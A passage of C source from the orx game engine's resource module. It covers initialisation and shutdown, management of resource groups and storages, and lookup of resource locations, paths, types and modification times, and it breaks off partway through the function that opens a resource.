{
orxSTATUS eResult = orxSTATUS_FAILURE;
/* Checks */
orxASSERT(orxMath_IsPowerOfTwo(orxRESOURCE_KU32_REQUEST_LIST_SIZE) != orxFALSE);
/* Not already Initialized? */
if(!(sstResource.u32Flags & orxRESOURCE_KU32_STATIC_FLAG_READY))
{
/* Cleans control structure */
orxMemory_Zero(&sstResource, sizeof(orxRESOURCE_STATIC));
/* Creates semaphores */
sstResource.pstRequestSemaphore = orxThread_CreateSemaphore(1);
sstResource.pstWorkerSemaphore = orxThread_CreateSemaphore(1);
/* Valid? */
if((sstResource.pstRequestSemaphore != orxNULL) && (sstResource.pstWorkerSemaphore != orxNULL))
{
/* Inits request thread ID */
sstResource.u32RequestThreadID = orxU32_UNDEFINED;
/* Creates resource info bank */
sstResource.pstResourceInfoBank = orxBank_Create(orxRESOURCE_KU32_RESOURCE_INFO_BANK_SIZE, sizeof(orxRESOURCE_INFO), orxBANK_KU32_FLAG_NONE, orxMEMORY_TYPE_MAIN);
/* Creates open resource info bank */
sstResource.pstOpenInfoBank = orxBank_Create(orxRESOURCE_KU32_OPEN_INFO_BANK_SIZE, sizeof(orxRESOURCE_OPEN_INFO), orxBANK_KU32_FLAG_NONE, orxMEMORY_TYPE_MAIN);
/* Creates group bank */
sstResource.pstGroupBank = orxBank_Create(orxRESOURCE_KU32_GROUP_BANK_SIZE, sizeof(orxRESOURCE_GROUP), orxBANK_KU32_FLAG_NONE, orxMEMORY_TYPE_MAIN);
/* Creates type info bank */
sstResource.pstTypeBank = orxBank_Create(orxRESOURCE_KU32_TYPE_BANK_SIZE, sizeof(orxRESOURCE_TYPE), orxBANK_KU32_FLAG_NONE, orxMEMORY_TYPE_MAIN);
/* Success? */
if((sstResource.pstResourceInfoBank != orxNULL) && (sstResource.pstOpenInfoBank != orxNULL) && (sstResource.pstGroupBank != orxNULL) && (sstResource.pstTypeBank != orxNULL))
{
orxRESOURCE_TYPE_INFO stTypeInfo;
/* Inits flags */
sstResource.u32Flags = orxRESOURCE_KU32_STATIC_FLAG_READY;
/* Inits file type */
stTypeInfo.zTag = orxRESOURCE_KZ_TYPE_TAG_FILE;
stTypeInfo.pfnLocate = orxResource_File_Locate;
stTypeInfo.pfnGetTime = orxResource_File_GetTime;
stTypeInfo.pfnOpen = orxResource_File_Open;
stTypeInfo.pfnClose = orxResource_File_Close;
stTypeInfo.pfnGetSize = orxResource_File_GetSize;
stTypeInfo.pfnSeek = orxResource_File_Seek;
stTypeInfo.pfnTell = orxResource_File_Tell;
stTypeInfo.pfnRead = orxResource_File_Read;
stTypeInfo.pfnWrite = orxResource_File_Write;
stTypeInfo.pfnDelete = orxResource_File_Delete;
/* Registers it */
eResult = orxResource_RegisterType(&stTypeInfo);
/* Success? */
if(eResult != orxSTATUS_FAILURE)
{
/* Inits thread result */
sstResource.eThreadResult = orxSTATUS_SUCCESS;
/* Waits for worker semaphore */
orxThread_WaitSemaphore(sstResource.pstWorkerSemaphore);
/* Starts request processing thread */
sstResource.u32RequestThreadID = orxThread_Start(&orxResource_ProcessRequests, orxRESOURCE_KZ_THREAD_NAME, orxNULL);
/* Success? */
if(sstResource.u32RequestThreadID != orxU32_UNDEFINED)
{
/* Registers commands */
orxResource_RegisterCommands();
/* Inits vars */
sstResource.stLastWatchedGroupID = orxSTRINGID_UNDEFINED;
#if defined(__orxANDROID__)
/* Registers APK type */
eResult = orxAndroid_RegisterAPKResource();
#endif /* __orxANDROID__ */
}
}
}
}
/* Failed? */
if(eResult != orxSTATUS_SUCCESS)
{
/* Removes Flags */
sstResource.u32Flags &= ~orxRESOURCE_KU32_STATIC_FLAG_READY;
/* Deletes semaphores */
if(sstResource.pstRequestSemaphore != orxNULL)
{
orxThread_DeleteSemaphore(sstResource.pstRequestSemaphore);
}
if(sstResource.pstWorkerSemaphore != orxNULL)
{
orxThread_DeleteSemaphore(sstResource.pstWorkerSemaphore);
}
/* Deletes info bank */
if(sstResource.pstResourceInfoBank != orxNULL)
{
orxBank_Delete(sstResource.pstResourceInfoBank);
}
/* Deletes open info bank */
if(sstResource.pstOpenInfoBank != orxNULL)
{
orxBank_Delete(sstResource.pstOpenInfoBank);
}
/* Deletes group bank */
if(sstResource.pstGroupBank != orxNULL)
{
orxBank_Delete(sstResource.pstGroupBank);
}
/* Deletes type bank */
if(sstResource.pstTypeBank != orxNULL)
{
orxBank_Delete(sstResource.pstTypeBank);
}
/* Has request thread? */
if(sstResource.u32RequestThreadID != orxU32_UNDEFINED)
{
/* Joins it */
orxThread_Join(sstResource.u32RequestThreadID);
sstResource.u32RequestThreadID = orxU32_UNDEFINED;
}
/* Logs message */
orxDEBUG_PRINT(orxDEBUG_LEVEL_SYSTEM, "Couldn't init resource module: can't allocate internal banks.");
}
}
else
{
/* Logs message */
orxDEBUG_PRINT(orxDEBUG_LEVEL_SYSTEM, "Tried to initialize resource module when it was already initialized.");
/* Already initialized */
eResult = orxSTATUS_SUCCESS;
}
/* Done! */
return eResult;
}
/** Exits from resource module
*/
void orxFASTCALL orxResource_Exit()
{
/* Initialized? */
if(sstResource.u32Flags & orxRESOURCE_KU32_STATIC_FLAG_READY)
{
orxRESOURCE_GROUP *pstGroup;
orxRESOURCE_OPEN_INFO *pstOpenInfo;
/* Unregisters commands */
orxResource_UnregisterCommands();
/* Makes sure resource thread is enabled */
orxThread_Enable(orxTHREAD_GET_FLAG_FROM_ID(sstResource.u32RequestThreadID), orxTHREAD_KU32_FLAG_NONE);
/* Waits for all pending operations to complete */
while(sstResource.u32RequestProcessIndex != sstResource.u32RequestInIndex);
/* Updates worker result */
sstResource.eThreadResult = orxSTATUS_FAILURE;
orxMEMORY_BARRIER();
/* Signals worker semaphore */
orxThread_SignalSemaphore(sstResource.pstWorkerSemaphore);
/* Joins request thread */
orxThread_Join(sstResource.u32RequestThreadID);
sstResource.u32RequestThreadID = orxU32_UNDEFINED;
/* Delete semaphores */
orxThread_DeleteSemaphore(sstResource.pstRequestSemaphore);
orxThread_DeleteSemaphore(sstResource.pstWorkerSemaphore);
/* Is the clock module still present? */
if(orxModule_IsInitialized(orxMODULE_ID_CLOCK) != orxFALSE)
{
/* Unregisters request notification callback */
orxClock_Unregister(orxClock_Get(orxCLOCK_KZ_CORE), orxResource_NotifyRequest);
/* Has watch callback? */
if(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_WATCH_REGISTERED))
{
/* Registers watch callbacks */
orxClock_Unregister(orxClock_Get(orxCLOCK_KZ_CORE), orxResource_Watch);
}
}
/* Has uncached location? */
if(sstResource.zLastUncachedLocation != orxNULL)
{
/* Deletes it */
orxMemory_Free(sstResource.zLastUncachedLocation);
}
/* For all groups */
for(pstGroup = (orxRESOURCE_GROUP *)orxBank_GetNext(sstResource.pstGroupBank, orxNULL);
pstGroup != orxNULL;
pstGroup = (orxRESOURCE_GROUP *)orxBank_GetNext(sstResource.pstGroupBank, orxNULL))
{
/* Deletes it */
orxResource_DeleteGroup(pstGroup);
}
/* Deletes group bank */
orxBank_Delete(sstResource.pstGroupBank);
/* Deletes type bank */
orxBank_Delete(sstResource.pstTypeBank);
/* For all open resources */
while((pstOpenInfo = (orxRESOURCE_OPEN_INFO *)orxBank_GetNext(sstResource.pstOpenInfoBank, orxNULL)) != orxNULL)
{
/* Closes it */
orxResource_Close((orxHANDLE)pstOpenInfo);
}
/* Deletes open info bank */
orxBank_Delete(sstResource.pstOpenInfoBank);
/* Checks */
orxASSERT(orxBank_GetCount(sstResource.pstResourceInfoBank) == 0);
/* Deletes info bank */
orxBank_Delete(sstResource.pstResourceInfoBank);
/* Updates flags */
sstResource.u32Flags &= ~orxRESOURCE_KU32_STATIC_FLAG_READY;
}
/* Done! */
return;
}
/** Gets number of resource groups
* @return Number of resource groups
*/
orxU32 orxFASTCALL orxResource_GetGroupCount()
{
orxU32 u32Result = 0;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
/* Updates result */
u32Result = orxBank_GetCount(sstResource.pstGroupBank);
/* Done! */
return u32Result;
}
/** Gets resource group at given index
* @param[in] _u32Index Index of resource group
* @return Resource group if index is valid, orxNULL otherwise
*/
const orxSTRING orxFASTCALL orxResource_GetGroup(orxU32 _u32Index)
{
const orxSTRING zResult = orxNULL;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
/* Valid index? */
if(_u32Index < orxBank_GetCount(sstResource.pstGroupBank))
{
orxRESOURCE_GROUP *pstGroup;
/* Finds requested group */
for(pstGroup = (orxRESOURCE_GROUP *)orxBank_GetNext(sstResource.pstGroupBank, orxNULL);
_u32Index > 0;
pstGroup = (orxRESOURCE_GROUP *)orxBank_GetNext(sstResource.pstGroupBank, pstGroup), _u32Index--)
;
/* Checks */
orxASSERT(pstGroup != orxNULL);
/* Updates result */
zResult = orxString_GetFromID(pstGroup->stID);
}
/* Done! */
return zResult;
}
/** Adds a storage for a given resource group, this storage will be used when looking for resources prior to any previously added storage
* @param[in] _zGroup Concerned resource group
* @param[in] _zStorage Description of the storage, as understood by one of the resource type
* @param[in] _bAddFirst If true this storage will be used *before* any already added ones, otherwise it'll be used *after* all those
* @return orxSTATUS_SUCCESS / orxSTATUS_FAILURE
*/
orxSTATUS orxFASTCALL orxResource_AddStorage(const orxSTRING _zGroup, const orxSTRING _zStorage, orxBOOL _bAddFirst)
{
orxSTATUS eResult = orxSTATUS_FAILURE;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
orxASSERT(_zGroup != orxNULL);
orxASSERT(_zStorage != orxNULL);
/* Valid? */
if(*_zGroup != orxCHAR_NULL)
{
orxRESOURCE_GROUP *pstGroup;
orxSTRINGID stGroupID;
/* Gets group ID */
stGroupID = orxString_GetID(_zGroup);
/* Gets group */
pstGroup = orxResource_FindGroup(stGroupID);
/* Not found? */
if(pstGroup == orxNULL)
{
/* Creates it */
pstGroup = orxResource_CreateGroup(stGroupID);
}
/* Success? */
if(pstGroup != orxNULL)
{
orxRESOURCE_STORAGE *pstStorage;
/* Creates storage */
pstStorage = (orxRESOURCE_STORAGE *)orxBank_Allocate(pstGroup->pstStorageBank);
/* Success? */
if(pstStorage != orxNULL)
{
/* Stores its content */
pstStorage->stID = orxString_GetID(_zStorage);
/* Clears its node */
orxMemory_Zero(&(pstStorage->stNode), sizeof(orxLINKLIST_NODE));
/* Should be added first? */
if(_bAddFirst != orxFALSE)
{
/* Adds it first */
orxLinkList_AddStart(&(pstGroup->stStorageList), &(pstStorage->stNode));
}
else
{
orxRESOURCE_STORAGE *pstLastStorage;
/* Gets last storage */
pstLastStorage = (orxLinkList_GetCount(&(pstGroup->stStorageList)) != 0) ? (orxRESOURCE_STORAGE *)orxLinkList_GetLast(&(pstGroup->stStorageList)) : orxNULL;
/* Found and is default storage? */
if((pstLastStorage != orxNULL) && (pstLastStorage->stID == orxString_Hash(orxRESOURCE_KZ_DEFAULT_STORAGE)))
{
/* Adds it before it */
orxLinkList_AddBefore(&(pstLastStorage->stNode), &(pstStorage->stNode));
}
else
{
/* Adds it last */
orxLinkList_AddEnd(&(pstGroup->stStorageList), &(pstStorage->stNode));
}
}
/* Updates result */
eResult = orxSTATUS_SUCCESS;
}
else
{
/* Logs message */
orxDEBUG_PRINT(orxDEBUG_LEVEL_SYSTEM, "Can't add storage <%s> to resource group <%s>: unable to allocate memory for storage.", _zStorage, _zGroup);
}
}
else
{
/* Logs message */
orxDEBUG_PRINT(orxDEBUG_LEVEL_SYSTEM, "Can't add storage <%s> to resource group <%s>: unable to allocate memory for group.", _zStorage, _zGroup);
}
}
/* Done! */
return eResult;
}
/** Removes storage(s) for specific resource group(s)
* @param[in] _zGroup Concerned resource group, orxNULL for all groups
* @param[in] _zStorage Concerned storage, orxNULL for all storages (except default one)
* @return orxSTATUS_SUCCESS / orxSTATUS_FAILURE
*/
orxSTATUS orxFASTCALL orxResource_RemoveStorage(const orxSTRING _zGroup, const orxSTRING _zStorage)
{
orxRESOURCE_GROUP *pstGroup;
orxSTRINGID stGroupID, stStorageID;
orxSTATUS eResult = orxSTATUS_FAILURE;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
/* Gets group & storage IDs */
stGroupID = (_zGroup != orxNULL) ? orxString_Hash(_zGroup) : orxSTRINGID_UNDEFINED;
stStorageID = (_zStorage != orxNULL) ? orxString_Hash(_zStorage) : orxSTRINGID_UNDEFINED;
/* For all groups */
for(pstGroup = (orxRESOURCE_GROUP *)orxBank_GetNext(sstResource.pstGroupBank, orxNULL);
pstGroup != orxNULL;
pstGroup = (orxRESOURCE_GROUP *)orxBank_GetNext(sstResource.pstGroupBank, pstGroup))
{
/* Matches? */
if((_zGroup == orxNULL)
|| (pstGroup->stID == stGroupID))
{
orxRESOURCE_STORAGE *pstStorage, *pstNextStorage;
/* For all storages in group */
for(pstStorage = (orxRESOURCE_STORAGE *)orxLinkList_GetFirst(&(pstGroup->stStorageList));
pstStorage != orxNULL;
pstStorage = pstNextStorage)
{
/* Gets next storage */
pstNextStorage = (orxRESOURCE_STORAGE *)orxLinkList_GetNext(&(pstStorage->stNode));
/* Matches? */
if((_zStorage == orxNULL)
|| (pstStorage->stID == stStorageID))
{
/* Removes it from list */
orxLinkList_Remove(&(pstStorage->stNode));
/* Frees it */
orxBank_Free(pstGroup->pstStorageBank, pstStorage);
/* Updates result */
eResult = orxSTATUS_SUCCESS;
}
}
}
}
/* Done! */
return eResult;
}
/** Gets number of storages for a given resource group
* @param[in] _zGroup Concerned resource group
* @return Number of storages for this resource group
*/
orxU32 orxFASTCALL orxResource_GetStorageCount(const orxSTRING _zGroup)
{
orxU32 u32Result = 0;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
orxASSERT(_zGroup != orxNULL);
/* Valid? */
if(*_zGroup != orxCHAR_NULL)
{
orxRESOURCE_GROUP *pstGroup;
orxSTRINGID stGroupID;
/* Gets group ID */
stGroupID = orxString_Hash(_zGroup);
/* Gets group */
pstGroup = orxResource_FindGroup(stGroupID);
/* Success? */
if(pstGroup != orxNULL)
{
/* Updates result */
u32Result = orxLinkList_GetCount(&(pstGroup->stStorageList));
}
}
/* Done! */
return u32Result;
}
/** Gets storage at given index for a given resource group
* @param[in] _zGroup Concerned resource group
* @param[in] _u32Index Index of storage
* @return Storage if index is valid, orxNULL otherwise
*/
const orxSTRING orxFASTCALL orxResource_GetStorage(const orxSTRING _zGroup, orxU32 _u32Index)
{
const orxSTRING zResult = orxNULL;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
orxASSERT(_zGroup != orxNULL);
/* Valid? */
if(*_zGroup != orxCHAR_NULL)
{
orxRESOURCE_GROUP *pstGroup;
orxSTRINGID stGroupID;
/* Gets group ID */
stGroupID = orxString_Hash(_zGroup);
/* Gets group */
pstGroup = orxResource_FindGroup(stGroupID);
/* Success? */
if(pstGroup != orxNULL)
{
/* Valid index? */
if(_u32Index < orxBank_GetCount(pstGroup->pstStorageBank))
{
orxRESOURCE_STORAGE *pstStorage;
/* Finds requested storage */
for(pstStorage = (orxRESOURCE_STORAGE *)orxLinkList_GetFirst(&(pstGroup->stStorageList));
_u32Index > 0;
pstStorage = (orxRESOURCE_STORAGE *)orxLinkList_GetNext(&(pstStorage->stNode)), _u32Index--)
;
/* Checks */
orxASSERT(pstStorage != orxNULL);
/* Updates result */
zResult = orxString_GetFromID(pstStorage->stID);
}
}
}
/* Done! */
return zResult;
}
/** Reloads storage from config
* @return orxSTATUS_SUCCESS / orxSTATUS_FAILURE
*/
orxSTATUS orxFASTCALL orxResource_ReloadStorage()
{
orxU32 i, u32SectionCount;
orxSTATUS eResult = orxSTATUS_SUCCESS;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
/* Pushes resource config section */
orxConfig_PushSection(orxRESOURCE_KZ_CONFIG_SECTION);
/* For all keys */
for(i = 0, u32SectionCount = orxConfig_GetKeyCount(); i < u32SectionCount; i++)
{
const orxSTRING zGroup;
orxSTRINGID stGroupID;
/* Gets group */
zGroup = orxConfig_GetKey(i);
/* Gets group ID */
stGroupID = orxString_Hash(zGroup);
/* Is not watch list? */
if(stGroupID != orxString_Hash(orxRESOURCE_KZ_CONFIG_WATCH_LIST))
{
orxRESOURCE_GROUP *pstGroup;
orxS32 j, jCount;
/* Gets group */
pstGroup = orxResource_FindGroup(stGroupID);
/* For all storages in list */
for(j = 0, jCount = orxConfig_GetListCount(zGroup); j < jCount; j++)
{
const orxSTRING zStorage;
orxBOOL bAdd = orxTRUE;
/* Gets storage */
zStorage = orxConfig_GetListString(zGroup, j);
/* Did the group exist? */
if(pstGroup != orxNULL)
{
orxRESOURCE_STORAGE *pstStorage;
orxSTRINGID stStorageID;
/* Gets storage ID */
stStorageID = orxString_Hash(zStorage);
/* For all storages in group */
for(pstStorage = (orxRESOURCE_STORAGE *)orxLinkList_GetFirst(&(pstGroup->stStorageList));
pstStorage != orxNULL;
pstStorage = (orxRESOURCE_STORAGE *)orxLinkList_GetNext(&(pstStorage->stNode)))
{
/* Found? */
if(pstStorage->stID == stStorageID)
{
/* Don't add it */
bAdd = orxFALSE;
break;
}
}
}
/* Should add storage? */
if(bAdd != orxFALSE)
{
/* Adds storage to group */
if(orxResource_AddStorage(zGroup, zStorage, orxFALSE) == orxSTATUS_FAILURE)
{
/* Updates */
eResult = orxSTATUS_FAILURE;
}
}
}
}
/* Updates status */
orxFLAG_SET(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_CONFIG_LOADED, orxRESOURCE_KU32_STATIC_FLAG_NONE);
}
/* Pops config section */
orxConfig_PopSection();
/* Done! */
return eResult;
}
/** Gets the location of an *existing* resource for a given group, location gets cached if found
* @param[in] _zGroup Concerned resource group
* @param[in] _zName Name of the resource to locate
* @return Location string if found, orxNULL otherwise
*/
const orxSTRING orxFASTCALL orxResource_Locate(const orxSTRING _zGroup, const orxSTRING _zName)
{
const orxSTRING zResult = orxNULL;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
orxASSERT(_zGroup != orxNULL);
orxASSERT(_zName != orxNULL);
/* Profiles */
orxPROFILER_PUSH_MARKER("orxResource_Locate");
/* Updates post-init */
orxResource_UpdatePostInit();
/* Valid? */
if(*_zGroup != orxCHAR_NULL)
{
orxRESOURCE_GROUP *pstGroup;
orxSTRINGID stGroupID;
/* Gets group ID */
stGroupID = orxString_GetID(_zGroup);
/* Gets group */
pstGroup = orxResource_FindGroup(stGroupID);
/* Not found? */
if(pstGroup == orxNULL)
{
/* Creates it */
pstGroup = orxResource_CreateGroup(stGroupID);
}
/* Success? */
if(pstGroup != orxNULL)
{
orxSTRINGID stKey;
orxRESOURCE_INFO *pstResourceInfo;
/* Gets resource info key */
stKey = orxString_GetID(_zName);
/* Gets resource info from cache */
pstResourceInfo = (orxRESOURCE_INFO *)orxHashTable_Get(pstGroup->pstCacheTable, stKey);
/* Found? */
if(pstResourceInfo != orxNULL)
{
/* Updates result */
zResult = pstResourceInfo->zLocation;
}
else
{
orxRESOURCE_STORAGE *pstStorage;
/* For all storages in group */
for(pstStorage = (orxRESOURCE_STORAGE *)orxLinkList_GetFirst(&(pstGroup->stStorageList));
(zResult == orxNULL) && (pstStorage != orxNULL);
pstStorage = (orxRESOURCE_STORAGE *)orxLinkList_GetNext(&(pstStorage->stNode)))
{
orxRESOURCE_TYPE *pstType;
/* For all registered types */
for(pstType = (orxRESOURCE_TYPE *)orxLinkList_GetFirst(&(sstResource.stTypeList));
pstType != orxNULL;
pstType = (orxRESOURCE_TYPE *)orxLinkList_GetNext(&(pstType->stNode)))
{
const orxSTRING zLocation;
/* Locates resource */
zLocation = pstType->stInfo.pfnLocate(_zGroup, orxString_GetFromID(pstStorage->stID), _zName, orxTRUE);
/* Success? */
if(zLocation != orxNULL)
{
orxRESOURCE_INFO *pstResourceInfo;
orxS32 s32Size;
/* Allocates resource info */
pstResourceInfo = (orxRESOURCE_INFO *)orxBank_Allocate(sstResource.pstResourceInfoBank);
/* Checks */
orxASSERT(pstResourceInfo != orxNULL);
/* Inits it */
pstResourceInfo->pstTypeInfo = &(pstType->stInfo);
pstResourceInfo->s64Time = orxRESOURCE_KU32_WATCH_TIME_UNINITIALIZED;
s32Size = orxString_GetLength(pstType->stInfo.zTag) + orxString_GetLength(zLocation) + 2;
pstResourceInfo->zLocation = (orxSTRING)orxMemory_Allocate(s32Size, orxMEMORY_TYPE_TEXT);
orxASSERT(pstResourceInfo->zLocation != orxNULL);
orxString_NPrint(pstResourceInfo->zLocation, s32Size, "%s%c%s", pstType->stInfo.zTag, orxRESOURCE_KC_LOCATION_SEPARATOR, zLocation);
pstResourceInfo->stGroupID = stGroupID;
pstResourceInfo->stStorageID = pstStorage->stID;
pstResourceInfo->stNameID = stKey;
orxMEMORY_BARRIER();
/* Adds it to cache */
orxHashTable_Add(pstGroup->pstCacheTable, stKey, pstResourceInfo);
/* Updates result */
zResult = pstResourceInfo->zLocation;
break;
}
}
}
}
}
}
/* Profiles */
orxPROFILER_POP_MARKER();
/* Done! */
return zResult;
}
/** Gets the location for a resource (existing or not) in a *specific storage*, for a given group. The location doesn't get cached and thus needs to be copied by the caller before the next call
* @param[in] _zGroup Concerned resource group
* @param[in] _zStorage Concerned storage, if orxNULL then the highest priority storage will be used
* @param[in] _zName Name of the resource
* @return Location string if found, orxNULL otherwise
*/
const orxSTRING orxFASTCALL orxResource_LocateInStorage(const orxSTRING _zGroup, const orxSTRING _zStorage, const orxSTRING _zName)
{
const orxSTRING zResult = orxNULL;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
orxASSERT(_zGroup != orxNULL);
orxASSERT(_zName != orxNULL);
/* Profiles */
orxPROFILER_PUSH_MARKER("orxResource_LocateInStorage");
/* Updates post-init */
orxResource_UpdatePostInit();
/* Valid? */
if(*_zGroup != orxCHAR_NULL)
{
orxRESOURCE_GROUP *pstGroup;
orxSTRINGID stGroupID;
/* Gets group ID */
stGroupID = orxString_GetID(_zGroup);
/* Gets group */
pstGroup = orxResource_FindGroup(stGroupID);
/* Not found? */
if(pstGroup == orxNULL)
{
/* Creates it */
pstGroup = orxResource_CreateGroup(stGroupID);
}
/* Success? */
if(pstGroup != orxNULL)
{
orxRESOURCE_STORAGE *pstStorage;
orxSTRINGID stStorageID;
/* Gets storage ID */
stStorageID = (_zStorage != orxNULL) ? orxString_Hash(_zStorage) : orxSTRINGID_UNDEFINED;
/* For all storages in group */
for(pstStorage = (orxRESOURCE_STORAGE *)orxLinkList_GetFirst(&(pstGroup->stStorageList));
(zResult == orxNULL) && (pstStorage != orxNULL);
pstStorage = (orxRESOURCE_STORAGE *)orxLinkList_GetNext(&(pstStorage->stNode)))
{
/* Is the requested storage? */
if((_zStorage == orxNULL)
|| (pstStorage->stID == stStorageID))
{
orxRESOURCE_TYPE *pstType;
const orxSTRING zStorage = orxString_GetFromID(pstStorage->stID);
/* For all registered types */
for(pstType = (orxRESOURCE_TYPE *)orxLinkList_GetFirst(&(sstResource.stTypeList));
pstType != orxNULL;
pstType = (orxRESOURCE_TYPE *)orxLinkList_GetNext(&(pstType->stNode)))
{
const orxSTRING zLocation;
/* Locates resource */
zLocation = pstType->stInfo.pfnLocate(_zGroup, zStorage, _zName, orxFALSE);
/* Success? */
if(zLocation != orxNULL)
{
orxS32 s32Size;
/* Has previous uncached location? */
if(sstResource.zLastUncachedLocation != orxNULL)
{
/* Deletes it */
orxMemory_Free(sstResource.zLastUncachedLocation);
}
/* Creates new location */
s32Size = orxString_GetLength(pstType->stInfo.zTag) + orxString_GetLength(zLocation) + 2;
sstResource.zLastUncachedLocation = (orxSTRING)orxMemory_Allocate(s32Size, orxMEMORY_TYPE_TEXT);
orxASSERT(sstResource.zLastUncachedLocation != orxNULL);
orxString_NPrint(sstResource.zLastUncachedLocation, s32Size, "%s%c%s", pstType->stInfo.zTag, orxRESOURCE_KC_LOCATION_SEPARATOR, zLocation);
/* Updates result */
zResult = sstResource.zLastUncachedLocation;
break;
}
}
break;
}
}
}
}
/* Profiles */
orxPROFILER_POP_MARKER();
/* Done! */
return zResult;
}
/** Gets the resource path from a location
* @param[in] _zLocation Location of the concerned resource
* @return Path string if valid, orxSTRING_EMPTY otherwise
*/
const orxSTRING orxFASTCALL orxResource_GetPath(const orxSTRING _zLocation)
{
const orxSTRING zResult = orxSTRING_EMPTY;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
orxASSERT(_zLocation != orxNULL);
/* Valid? */
if(*_zLocation != orxCHAR_NULL)
{
orxRESOURCE_TYPE *pstType;
/* For all registered types */
for(pstType = (orxRESOURCE_TYPE *)orxLinkList_GetFirst(&(sstResource.stTypeList));
pstType != orxNULL;
pstType = (orxRESOURCE_TYPE *)orxLinkList_GetNext(&(pstType->stNode)))
{
orxU32 u32TagLength;
/* Gets tag length */
u32TagLength = orxString_GetLength(pstType->stInfo.zTag);
/* Match tag? */
if(orxString_NICompare(_zLocation, pstType->stInfo.zTag, u32TagLength) == 0)
{
/* Valid? */
if(*(_zLocation + u32TagLength) == orxRESOURCE_KC_LOCATION_SEPARATOR)
{
/* Updates result */
zResult = _zLocation + u32TagLength + 1;
}
break;
}
}
}
/* Done! */
return zResult;
}
/** Gets the resource type from a location
* @param[in] _zLocation Location of the concerned resource
* @return orxRESOURCE_TYPE_INFO if valid, orxNULL otherwise
*/
const orxRESOURCE_TYPE_INFO *orxFASTCALL orxResource_GetType(const orxSTRING _zLocation)
{
const orxRESOURCE_TYPE_INFO *pstResult = orxNULL;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
orxASSERT(_zLocation != orxNULL);
/* Valid? */
if(*_zLocation != orxCHAR_NULL)
{
orxRESOURCE_TYPE *pstType;
/* For all registered types */
for(pstType = (orxRESOURCE_TYPE *)orxLinkList_GetFirst(&(sstResource.stTypeList));
pstType != orxNULL;
pstType = (orxRESOURCE_TYPE *)orxLinkList_GetNext(&(pstType->stNode)))
{
orxU32 u32TagLength;
/* Gets tag length */
u32TagLength = orxString_GetLength(pstType->stInfo.zTag);
/* Match tag? */
if(orxString_NICompare(_zLocation, pstType->stInfo.zTag, u32TagLength) == 0)
{
/* Valid? */
if(*(_zLocation + u32TagLength) == orxRESOURCE_KC_LOCATION_SEPARATOR)
{
/* Updates result */
pstResult = &(pstType->stInfo);
}
break;
}
}
}
/* Done! */
return pstResult;
}
/** Gets the time of last modification of a resource
* @param[in] _zLocation Location of the concerned resource
* @return Time of last modification, in seconds since epoch, if found, 0 otherwise
*/
orxS64 orxFASTCALL orxResource_GetTime(const orxSTRING _zLocation)
{
orxS64 s64Result = 0;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
orxASSERT(_zLocation != orxNULL);
/* Profiles */
orxPROFILER_PUSH_MARKER("orxResource_GetTime");
/* Valid? */
if(*_zLocation != orxCHAR_NULL)
{
orxRESOURCE_TYPE *pstType;
orxU32 u32TagLength;
/* For all registered types */
for(pstType = (orxRESOURCE_TYPE *)orxLinkList_GetFirst(&(sstResource.stTypeList));
pstType != orxNULL;
pstType = (orxRESOURCE_TYPE *)orxLinkList_GetNext(&(pstType->stNode)))
{
/* Gets tag length */
u32TagLength = orxString_GetLength(pstType->stInfo.zTag);
/* Match tag? */
if(orxString_NICompare(_zLocation, pstType->stInfo.zTag, u32TagLength) == 0)
{
/* Selects it */
break;
}
}
/* Found? */
if(pstType != orxNULL)
{
/* Supports time? */
if(pstType->stInfo.pfnGetTime != orxNULL)
{
/* Updates result */
s64Result = pstType->stInfo.pfnGetTime(_zLocation + u32TagLength + 1);
}
}
}
/* Profiles */
orxPROFILER_POP_MARKER();
/* Done! */
return s64Result;
}
/** Opens the resource at the given location
* @param[in] _zLocation Location of the resource to open
* @param[in] _bEraseMode If true, the file will be erased if existing or created otherwise, if false, no content will get destroyed when opening
* @return Handle to the open location, orxHANDLE_UNDEFINED otherwise
*/
orxHANDLE orxFASTCALL orxResource_Open(const orxSTRING _zLocation, orxBOOL _bEraseMode)
{
orxHANDLE hResult = orxHANDLE_UNDEFINED;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
orxASSERT(_zLocation != orxNULL);
/* Profiles */
orxPROFILER_PUSH_MARKER("orxResource_Open");
/* Valid? */
if(*_zLocation != orxCHAR_NULL)
{
orxRESOURCE_TYPE *pstType;
orxU32 u32TagLength;
/* For all registered types */
for(pstType = (orxRESOURCE_TYPE *)orxLinkList_GetFirst(&(sstResource.stTypeList));
pstType != orxNULL;
pstType = (orxRESOURCE_TYPE *)orxLinkList_GetNext(&(pstType->stNode)))
{
/* Gets tag length */
u32TagLength = orxString_GetLength(pstType->stInfo.zTag);
/* Match tag? */
if((orxString_NICompare(_zLocation, pstType->stInfo.zTag, u32TagLength) == 0)
&& (*(_zLocation + u32TagLength) == orxRESOURCE_KC_LOCATION_SEPARATOR))
{
/* Selects it */
break;
}
}
/* Found? */
if(pstType != orxNULL)
{
